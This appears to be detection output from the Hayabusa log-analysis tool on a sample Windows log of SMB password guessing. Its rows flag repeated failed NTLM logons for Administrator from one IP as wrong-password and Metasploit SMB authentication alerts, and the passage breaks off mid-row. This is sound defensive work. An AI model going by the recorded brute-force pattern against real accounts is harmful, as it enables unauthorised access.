Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a4ZSRW7F65yDNbJd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.776 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.809 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HrbzGNYIbjErVtDR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.809 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.853 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eFcGaL3asLVIF08d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.853 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.892 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dhJvIM5PzA9U6GTD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.892 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.942 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KYrfD15TPp8OuST4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.942 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.978 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8d4CbZSTHhl7fRfa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.978 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.027 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IItrtl1h3PsKviaQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.027 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.075 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WVeoptuwLNKlm0V2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.075 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.222 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Rf6Ri9Lm81mScRt4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.222 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.282 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NPVkTRUILL5czcbF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.282 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QZJq3kjykwzh0hVh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.333 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.374 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lHL4KuirjQ96Dgfw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.374 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.418 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DSPjDklMHdW6LqK5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.418 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EL0oMweyFgI0MEdM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.464 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.514 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NJS2dZhWmCGF1Qos : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.514 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bNR5dXXnx0LeyNmW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.560 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.605 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ApUMxqDiqDNo6hrF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.605 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.653 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o3d1caGukhhBHp6s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.653 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oxDVCaWpkSECRoml : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.697 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: coqijUGaaVJXY4GV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.748 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.790 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7ATPa6qMbfQ9QDrW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.790 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mnQEE00r01jhCNzr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.840 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.946 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ir9sY7kG6vbOad4z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.946 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.989 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: REuk1RZ5eRs3pSbT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.989 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.035 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 91gfIcAUvKrSAENh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.035 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.073 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MtrVV1ux0v5w5XWZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.073 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.117 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rFpyAqPQP77Ls6ir : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.117 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nvwp4DimL7SgBmb0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.156 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.202 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u1lnJZDjghQNQxfG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.202 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.253 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pBN1g8NBIj6WMrhz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.253 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.291 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cJMUobtFTwOQTgqd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.291 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QGZeGqe9rC172BVa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.333 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zNP99dMvvDQl8WVw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.388 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.428 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qcwp0odjR0LfM11y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.428 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.480 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6VjaFCzZr8iUUovn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.480 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C3YniJHC0Cswfti0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.520 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 63lZpExTzSzNR96C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.560 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.602 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fKI61MTXJ5x9WF56 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.602 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.654 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NhWYNEPWgh03cQSJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.654 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pvZg2LTYtsUhvBhr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.688 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BENGUFtNxdPjaS03 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.728 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.778 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fY1s0OG9JR38H6rm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.778 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LblLG1Il6ngkuAOo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.825 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PAZ83Onp00vURKSz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.942 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BxvywmA4UMI04zm2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.942 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.997 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1vH6DSer71gxEDRc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.997 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.057 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uDNQibannB453BKc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.057 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 